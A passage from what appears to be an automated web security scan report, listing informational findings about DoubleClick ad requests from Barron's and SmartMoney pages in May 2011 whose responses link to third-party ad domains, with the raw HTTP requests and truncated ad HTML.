Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:19 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 543

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/n;231254
...[SNIP]...
2198;31533-540/260;42025779/42043566/1;;~okv=;!category=;msrc=BOL_other_tnav_analysis;s=8_10001;mc=0;tile=7;sz=540x260;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/onlinetest2_OOTB"><img src="http://s0.2mdn.net/viewad/1428266/1-BOL_Snippet_Online_v2.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.4. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone_free

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;ord=1659165916591659;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1428266/6BCWBL_OOT.gif

Request

GET /adi/barrons.com/b2pfreezone_free;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;ord=1659165916591659; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:08 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 540

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/z;231253
...[SNIP]...
-520/30;38882585/38900342/1;;~okv=;!category=;page=bottomSubscribePromoFree;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=7;sz=520x30;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWBL_OOT"><img src="http://s0.2mdn.net/viewad/1428266/6BCWBL_OOT.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.5. http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/b2pfreezone_free

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/b2pfreezone_free;u=%5E%5E;!category=;msrc=BOL_hpp_dc;;mc=0;tile=1;sz=286x52;ord=5417541754175417;

The response contains the following link to another domain:

http://s0.2mdn.net/1428266/6BCWAD_OOTB3.jpg

Request

GET /adi/barrons.com/b2pfreezone_free;u=%5E%5E;!category=;msrc=BOL_hpp_dc;;mc=0;tile=1;sz=286x52;ord=5417541754175417; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:23:28 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1214

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1428266/6BCWAD_OOTB3.jpg" width="286" height="52" border="0" usemap="#Mapmay1_stackedheader" />
<map name="Mapmay1_stackedheader" id="Map">
...[SNIP]...

19.6. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=4;sz=377x140;ord=2817281728172817;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2457383/fidelity_sm_377x140_03_wsj.png

Request

GET /adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=4;sz=377x140;ord=2817281728172817; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:31:03 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 497

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/i;241062548;0-0;0;51787543;29332-377/140;42095072/42112859/1;;~okv=;!category=;biz=1053;;s=8_10001;mc=0;tile=4;sz=377x140;;~aopt=2/1/ff/1;~sscs=%3fhttp://www.smartmoney.com"><img src="http://s0.2mdn.net/viewad/2457383/fidelity_sm_377x140_03_wsj.png" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.7. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=3;sz=300x250;ord=2817281728172817;

The response contains the following link to another domain:

http://amch.questionmarket.com/adsc/d899015/9/902216/randm.js

Request

GET /adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=3;sz=300x250;ord=2817281728172817; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:50 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 657

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><SCRIPT LANGUAGE="JavaScript" src="http://ad.doubleclick.net/adj/barrons.com/survey
...[SNIP]...
</NOSCRIPT><script type="text/javascript" src="http://amch.questionmarket.com/adsc/d899015/9/902216/randm.js"></script>
...[SNIP]...

19.8. http://ad.doubleclick.net/adi/barrons.com/columnist previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/columnist

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=2;sz=728x90;ord=2817281728172817;

The response contains the following links to other domains:

http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=bsr&FlightID=2334089&Page=&PluID=0&Pos=9420
http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2334089&PluID=0&w=728&h=90&ord=3176541&ifrm=1&ucm=true&ifl=$$/static_html_files/addineyeV2.html$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/p%3B238353148%3B0-0%3B0%3B51787543%3B3454-728/90%3B41887851/41905638/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3D0%3Btile%3D2%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$&z=39

Request

GET /adi/barrons.com/columnist;!category=;biz=1053;;s=8_10001;mc=0;tile=2;sz=728x90;ord=2817281728172817; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:50 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1158

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><script src="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=rsb&c=28&pli=2334089&PluID=0&w=728&h=90&ord=3176541&ifrm=1&ucm=true&ifl=$$/static_html_files/addineyeV2.html$$&ncu=$$http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/p%3B238353148%3B0-0%3B0%3B51787543%3B3454-728/90%3B41887851/41905638/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3D0%3Btile%3D2%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3f$$&z=39"></script>
...[SNIP]...
3Btile%3D2%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp%3A//bs.serving-sys.com/BurstingPipe/adServer.bs%3Fcn%3Dbrd%26FlightID%3D2334089%26Page%3D%26PluID%3D0%26Pos%3D9420" target="_blank"><img src="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=bsr&FlightID=2334089&Page=&PluID=0&Pos=9420" border=0 width=728 height=90></a>
...[SNIP]...

19.9. http://ad.doubleclick.net/adi/barrons.com/daily_barronstake previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/daily_barronstake

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/daily_barronstake;!category=;page=uberBannerAd;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=8;sz=728x90;ord=4321432143214321;

The response contains the following links to other domains:

http://s0.2mdn.net/2418509/3-MFG_728x90.jpg
http://s0.2mdn.net/879366/flashwrite_1_2.js

Request

GET /adi/barrons.com/daily_barronstake;!category=;page=uberBannerAd;msrc=BOL_other_tnav_analysis;biz=1053;;s=8_10001;mc=0;tile=8;sz=728x90;ord=4321432143214321; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/barrons_take.html?mod=BOL_other_tnav_analysis
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:33:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 6263

<head><title>Advertisement</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white">

<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
...[SNIP]...
%3B%21category%3D%3Bpage%3DuberBannerAd%3Bmsrc%3DBOL_other_tnav_analysis%3Bbiz%3D1053%3B%3Bs%3D8_10001%3Bmc%3D0%3Btile%3D8%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://www.mfglobal.com"><img src="http://s0.2mdn.net/2418509/3-MFG_728x90.jpg" width="728" height="90" border="0" alt="" galleryimg="no"></a>
...[SNIP]...

19.10. http://ad.doubleclick.net/adi/barrons.com/mag_streetwise previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/mag_streetwise

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/mag_streetwise;!category=;page=uberBannerAd;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=6;sz=728x90;ord=4884488448844884;

The response contains the following links to other domains:

http://cdn.eyewonder.com/100125/768790/1436051/NOSCRIPTfailover.jpg
http://cdn.eyewonder.com/100125/768790/1436051/ewtrack.gif?ewadid=131640
http://cdn.eyewonder.com/100125/768790/1436051/ewtrack_f.gif?ewadid=131640
http://cdn.eyewonder.com/100125/768790/1436051/wrapper.js

Request

GET /adi/barrons.com/mag_streetwise;!category=;page=uberBannerAd;msrc=BOL_hpp_dc;biz=1053;;;mc=0;tile=6;sz=728x90;ord=4884488448844884; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html?mod=BOL_hpp_dc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:23:30 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1784

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><script language="Javascript" type="text/javascript" id="ew1436051_wrapper" src="http://cdn.eyewonder.com/100125/768790/1436051/wrapper.js"></script>
...[SNIP]...
ategory%3D%3Bpage%3DuberBannerAd%3Bmsrc%3DBOL_hpp_dc%3Bbiz%3D1053%3B%3B%3Bmc%3D0%3Btile%3D6%3Bsz%3D728x90%3B%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttps://www.rbccm.com/?ewbust=3696869" target="_blank">
<img width="728" height="90" src="http://cdn.eyewonder.com/100125/768790/1436051/NOSCRIPTfailover.jpg" border="0" alt="" />
</a>
<div style="position:absolute;top:0px;left:0px;z-index:2;display:none">
<img src="http://cdn.eyewonder.com/100125/768790/1436051/ewtrack.gif?ewadid=131640" border="0" width="1" height="1" />
</div>
<div style="position:absolute;top:0px;left:0px;z-index:3;display:none">
<img src="http://cdn.eyewonder.com/100125/768790/1436051/ewtrack_f.gif?ewadid=131640" border="0" width="1" height="1" />
</div>
...[SNIP]...

19.11. http://ad.doubleclick.net/adi/barrons.com/public_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/public_front;!category=;;mc=0;tile=2;sz=280x61;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1428266/6BCWAA_OOTB9.gif

Request

GET /adi/barrons.com/public_front;!category=;;mc=0;tile=2;sz=280x61;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 488

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/r;231251608;0-0;0;13405531;28940-280/61;38881709/38899466/1;;~okv=;!category=;;mc=0;tile=2;sz=280x61;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWAA_OOTB9"><img src="http://s0.2mdn.net/viewad/1428266/6BCWAA_OOTB9.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.12. http://ad.doubleclick.net/adi/barrons.com/public_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/public_front;u=;!category=;;mc=0;tile=1;sz=286x52;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/1428266/Control_header_tile_286x52.jpg

Request

GET /adi/barrons.com/public_front;u=;!category=;;mc=0;tile=1;sz=286x52;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:14 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1165

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1428266/Control_header_tile_286x52.jpg" width="286" height="52" border="0" usemap="#Mapmay1_stackedheader" />
<map name="Mapmay1_stackedheader" id="Map">
...[SNIP]...

19.13. http://ad.doubleclick.net/adi/barrons.com/public_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/public_front;!category=;;mc=0;tile=3;sz=280x30;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1428266/6BCWAA_OOTB22.gif

Request

GET /adi/barrons.com/public_front;!category=;;mc=0;tile=3;sz=280x30;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:13:00 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 489

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/g;231253085;0-0;0;13405531;2858-280/30;38882033/38899790/1;;~okv=;!category=;;mc=0;tile=3;sz=280x30;;~aopt=2/1/ff/1;~sscs=%3fhttps://order.barrons.com/sub/xdef/002/6BCWAA_OOTB22"><img src="http://s0.2mdn.net/viewad/1428266/6BCWAA_OOTB22.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.14. http://ad.doubleclick.net/adi/barrons.com/public_other previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/public_other

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/public_other;u=%5E%5ElA;!category=;s=8_10001;mc=0;tile=1;sz=286x52;ord=2817281728172817;

The response contains the following link to another domain:

http://s0.2mdn.net/1428266/6BCWAD_OOTB5.jpg

Request

GET /adi/barrons.com/public_other;u=%5E%5ElA;!category=;s=8_10001;mc=0;tile=1;sz=286x52;ord=2817281728172817; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://topics.barrons.com/person/S/michael-santoli/6041
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:30:26 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1204

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><img src="http://s0.2mdn.net/1428266/6BCWAD_OOTB5.jpg" width="286" height="52" border="0" usemap="#Mapmay1_stackedheader" />
<map name="Mapmay1_stackedheader" id="Map">
...[SNIP]...

19.15. http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/barrons.com/sponsor_pickspans

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/barrons.com/sponsor_pickspans;!category=;;mc=0;tile=4;sz=140x31;ord=2194219421942194;

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2348987/wellsfargo-logos-140x31-bol.png

Request

GET /adi/barrons.com/sponsor_pickspans;!category=;;mc=0;tile=4;sz=140x31;ord=2194219421942194; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.barrons.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:15:01 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 551

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3b07/0/0/%2a/f;237099
...[SNIP]...
;1932-140/31;40930725/40948512/1;;~okv=;!category=;;mc=0;tile=4;sz=140x31;;~aopt=2/1/ff/1;~sscs=%3fhttp://ad.doubleclick.net/clk;237018358;60534698;r?http://www.wellsfargoadvisors.com?cid=OB110032231"><img src="http://s0.2mdn.net/viewad/2348987/wellsfargo-logos-140x31-bol.png" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

19.16. http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbutton.smartmoney.com/partner_center

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center;u=;!category=;;mc=0;pos=1;tile=1;sz=170x67;ord=2258225822582258;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_ETFBB_170x40.gif

Request

GET /adi/brokerbutton.smartmoney.com/partner_center;u=;!category=;;mc=0;pos=1;tile=1;sz=170x67;ord=2258225822582258; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:18:55 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 815

<head><title>Click Here</title><base href="http://ad.doubleclick.net"></head><body bgcolor="white"><a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/r%3B241061308%3B0-0%3B0%3B62335189%3B1
...[SNIP]...
3D1%3Bsz%3D170x67%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3fhttps://store.marketwatch.com/webapp/wcs/stores/servlet/PremiumNewsletters_ETFTrader?dist=IYMLBTBCF" target="_new" style="text-decoration:none"><img src="http://s0.2mdn.net/1146650/MWNewsletters_ETFBB_170x40.gif" width="170" height="40" border="0" alt="advertisement" align="top"/><div style="font-family: Arial, Helvetica, Verdana, sans-serif;font-size: 11px;padding:0px 0px 0px 0px; solid #cfc7b7;">
...[SNIP]...

19.17. http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbutton.smartmoney.com/partner_center

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=2;tile=2;sz=170x67;ord=2258225822582258;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/MWNewsletters_MOTBB_170x40.gif

Request

GET /adi/brokerbutton.smartmoney.com/partner_center;!category=;;mc=0;pos=2;tile=2;sz=170x67;ord=2258225822582258; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
